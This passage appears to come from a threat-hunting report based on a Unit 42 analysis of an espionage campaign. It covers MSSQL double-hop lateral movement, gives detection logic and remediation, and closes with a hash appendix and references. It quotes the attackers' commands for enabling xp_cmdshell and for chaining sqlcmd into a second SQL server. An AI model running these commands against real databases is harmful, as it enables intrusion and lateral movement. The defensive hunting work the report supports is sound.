ATT&CK: Persistence → T1543.002 (Create or Modify System Process: Systemd Service) (detection strategy: DET0253 Detection of Systemd Service Creation or Modification on Linux); Command and Control → T1071.001 (Application Layer Protocol: Web Protocols) (detection strategy: DET0027 Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets); Persistence → T1053.003 (Scheduled Task/Job: Cron) (detection strategy: DET0290 Cross-Platform Detection of Cron Job Abuse for Persistence and Execution); Persistence → T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder) (detection strategy: DET0365 Detect Registry and Startup Folder Persistence (Windows)); Persistence → T1053.005 (Scheduled Task/Job: Scheduled Task) (detection strategy: DET0441 Detection of Suspicious Scheduled Task Creation and Execution on Windows)

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

xp_cmdshell Double-Hop Through MSSQL

Working through a web shell, the operators deployed Base64-encoded PHP scripts that scanned the network for SQL servers and enumerated databases along with domain users, computers and open shares; they also ran a custom Go scanner for React2Shell (CVE-2025-55182), which Unit 42 describes only as a reconnaissance tool, not as the way in. They then enabled command execution on an internal MSSQL server with EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;. Having picked the network segment they wanted, they built a double hop: commands went from the compromised web server to that first MSSQL server, and from there through xp_cmdshell running sqlcmd against a second SQL server on a different subnet, as in Unit 42’s example EXEC xp_cmdshell 'sqlcmd -S [SERVER_IP] -U [USERNAME] -P "[PASSWORD]" -Q "EXEC xp_cmdshell ''whoami''" -t 10 2>&1'. After verifying the route, they ran OS-level commands on the second host. The detection is a three-host sequence: a web server opening a TDS session (TCP 1433) to a SQL server it is not configured to use; an sp_configure change enabling show advanced options or xp_cmdshell on that server; and the SQL Server process (sqlservr.exe, or sqlservr on Linux) spawning cmd.exe, a shell or sqlcmd with -S pointing at another server, followed by a matching configuration change and process spawn on the second server.

Pull the configuration change from the SQL Server error log and default trace (both record sp_configure changes), the process spawns from EDR on the database hosts, and the web-to-database and database-to-database flows from NetFlow or firewall logs, then join them on time and host. Look back to October 2025, and scope to every SQL Server reachable from a web tier, including Linux SQL Server instances. A few legacy jobs still use xp_cmdshell, so allowlist them by the SQL Agent job name, the login and the exact command, not by the fact that xp_cmdshell is on. Simply turning xp_cmdshell off is the wrong fix on its own, because a login with sysadmin rights turns it back on, which is exactly what happened here; the durable fixes are removing sysadmin rights from application logins, rotating every database credential exposed through wp-config.php and web application configuration files, and restricting which servers may open SQL sessions to which others. Any unexplained enablement of xp_cmdshell or sqlservr spawning sqlcmd against another host goes to incident response with both database servers in scope. This correlation catches database-hopping lateral movement by any actor.

Hunt Lead Level: 3 (Elite)

ATT&CK: Persistence → T1505.001 (Server Software Component: SQL Stored Procedures) (detection strategy: DET0181 Detection Strategy for SQL Stored Procedures Abuse via T1505.001); Discovery → T1046 (Network Service Discovery) for the SQL server and React2Shell scanning

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

Hash Appendix

CVE-2025-55182 (React2Shell) Vulnerability Scanner

SHA-256 values are from the source article; OTX AlienVault lists these hashes in pulses but holds no file analysis for them, and VirusTotal could not be queried without an account, so MD5 and SHA-1 are not available. Unit 42 did not publish file names or drop paths for the scanner.

MD5s

(not available)  # CVE-2025-55182 scanner, Go binary, sample 1
(not available)  # CVE-2025-55182 scanner, Go binary, sample 2
(not available)  # CVE-2025-55182 scanner, Go binary, sample 3
(not available)  # CVE-2025-55182 scanner, Go binary, sample 4

SHA1s

(not available)  # CVE-2025-55182 scanner, Go binary, sample 1
(not available)  # CVE-2025-55182 scanner, Go binary, sample 2
(not available)  # CVE-2025-55182 scanner, Go binary, sample 3
(not available)  # CVE-2025-55182 scanner, Go binary, sample 4

SHA256s

2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e  # CVE-2025-55182 scanner, Go binary, sample 1 -> file name and path not published
27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704  # CVE-2025-55182 scanner, Go binary, sample 2 -> file name and path not published
d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd  # CVE-2025-55182 scanner, Go binary, sample 3 -> file name and path not published
9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e  # CVE-2025-55182 scanner, Go binary, sample 4 -> file name and path not published

Custom Shell Backdoor for Privilege Escalation

SHA-256 is from the source article; MD5 and SHA-1 are sourced via OTX AlienVault file analysis (64-bit ELF, 14,472 bytes). Unit 42 labels this hash “custom shell backdoor for privilege escalation” and describes its custom SUID root shell as .libsystemd-helper, but does not explicitly tie the hash to that file name or give its directory.

MD5s

ecfbc5e3322a7b796a7f5d5e2be7d84f  # custom SUID root shell (file name not published) -> drop path not published (sourced via OTX)

SHA1s

4389862bf96f8fd032dc8549794e265f49808aae  # custom SUID root shell (file name not published) -> drop path not published (sourced via OTX)

SHA256s

c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343  # custom SUID root shell (file name not published) -> drop path not published

GSocket Reverse Shell

SHA-256 is from the source article; MD5 and SHA-1 are sourced via OTX AlienVault file analysis (64-bit ELF, 2,833,840 bytes). OTX also lists this hash in pulses for unrelated campaigns, which suggests it is a stock GSocket release binary: a match shows GSocket is present, not that this actor put it there. Unit 42 does not say whether the hash is gs-netcat or gs-dbus.

MD5s

d75cb9920d1d3d280518ddccfe4789d2  # GSocket binary -> staged in /dev/shm/.gs-10085/, run as [kcached] (sourced via OTX)

SHA1s

18821dbb53892d6faa14b1f063517a0302057290  # GSocket binary -> staged in /dev/shm/.gs-10085/, run as [kcached] (sourced via OTX)

SHA256s

d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa  # GSocket binary -> staged in /dev/shm/.gs-10085/, run as [kcached]

PwnKit (CVE-2021-4034) Binary

SHA-256 is from the source article; MD5 and SHA-1 are sourced via OTX AlienVault file analysis (64-bit ELF shared object, 18,040 bytes). This is the open-source PwnKit exploit, not a legitimate system binary, so blocking it is safe; Unit 42 did not publish its drop path.

MD5s

a63eb43c6c694570f4aca391b8111439  # PwnKit CVE-2021-4034 exploit -> drop path not published (sourced via OTX)

SHA1s

869e68253bb602144b3750c277eda1ed0b08534a  # PwnKit CVE-2021-4034 exploit -> drop path not published (sourced via OTX)

SHA256s

44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879  # PwnKit CVE-2021-4034 exploit -> drop path not published

PHP Web Shells

SHA-256 values are from the source article; MD5 and SHA-1 for the first two are sourced via OTX AlienVault file analysis, and OTX has no file analysis for the third, which VirusTotal could not be queried for without an account. Unit 42 names /usr/lib/php/plesk_sys_driver.php as one web shell but does not map any hash to a file name.

MD5s

b00f1cfdbf10764d2756ba431fe8a2b5  # PHP web shell 1 (OTX: PHP script, 5,795 bytes) -> file name and path not published (sourced via OTX)
bcebe477f733b301ffd3d6dfec7391d4  # PHP web shell 2 (OTX: data, 32,731 bytes) -> file name and path not published (sourced via OTX)
(not available)  # PHP web shell 3 -> file name and path not published

SHA1s

5a2e96190b5c3a78f123a205f378f25dabd4316e  # PHP web shell 1 (OTX: PHP script, 5,795 bytes) -> file name and path not published (sourced via OTX)
8a24e493c515817476bee60a12c5e43ff56bfe93  # PHP web shell 2 (OTX: data, 32,731 bytes) -> file name and path not published (sourced via OTX)
(not available)  # PHP web shell 3 -> file name and path not published

SHA256s

1505a3a727f8899b2ad343519f7bf9c438b8b802f8d6b854f5db3b52f857c76a  # PHP web shell 1 -> file name and path not published
76c58fad4f70cf277a15a499b9a2151ac60e7a6b5c7a9ab684843dcc19f0d0a5  # PHP web shell 2 -> file name and path not published
b1e82c6b0caea177e8bb71ad826867f509c65f0a43a651b50253e7c726566eac  # PHP web shell 3 -> file name and path not published

References Appendix

• “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42 (Roey Porat, Tom Fakterman), Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/
• OTX AlienVault file indicator record for the custom shell backdoor (MD5/SHA-1 fill), AlienVault Open Threat Exchange, accessed Oct. 21, 2026, https://otx.alienvault.com/indicator/file/c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343
• OTX AlienVault file indicator record for the GSocket binary (MD5/SHA-1 fill and unrelated-pulse overlap), AlienVault Open Threat Exchange, accessed Oct. 21, 2026, https://otx.alienvault.com/indicator/file/d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa
• OTX AlienVault file indicator record for the PwnKit binary (MD5/SHA-1 fill), AlienVault Open Threat Exchange, accessed Oct. 21, 2026, https://otx.alienvault.com/indicator/file/44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879
• OTX AlienVault file indicator record for PHP web shell 1 (MD5/SHA-1 fill), AlienVault Open Threat Exchange, accessed Oct. 21, 2026, https://otx.alienvault.com/indicator/file/1505a3a727f8899b2ad343519f7bf9c438b8b802f8d6b854f5db3b52f857c76a
• OTX AlienVault file indicator record for PHP web shell 2 (MD5/SHA-1 fill), AlienVault Open Threat Exchange, accessed Oct. 21, 2026, https://otx.alienvault.com/indicator/file/76c58fad4f70cf277a15a499b9a2151ac60e7a6b5c7a9ab684843dcc19f0d0a5
• MITRE ATT&CK Enterprise v20 technique and detection strategy pages linked in each Hunt Lead, The MITRE Corporation, accessed Oct. 21, 2026, https://attack.mitre.org/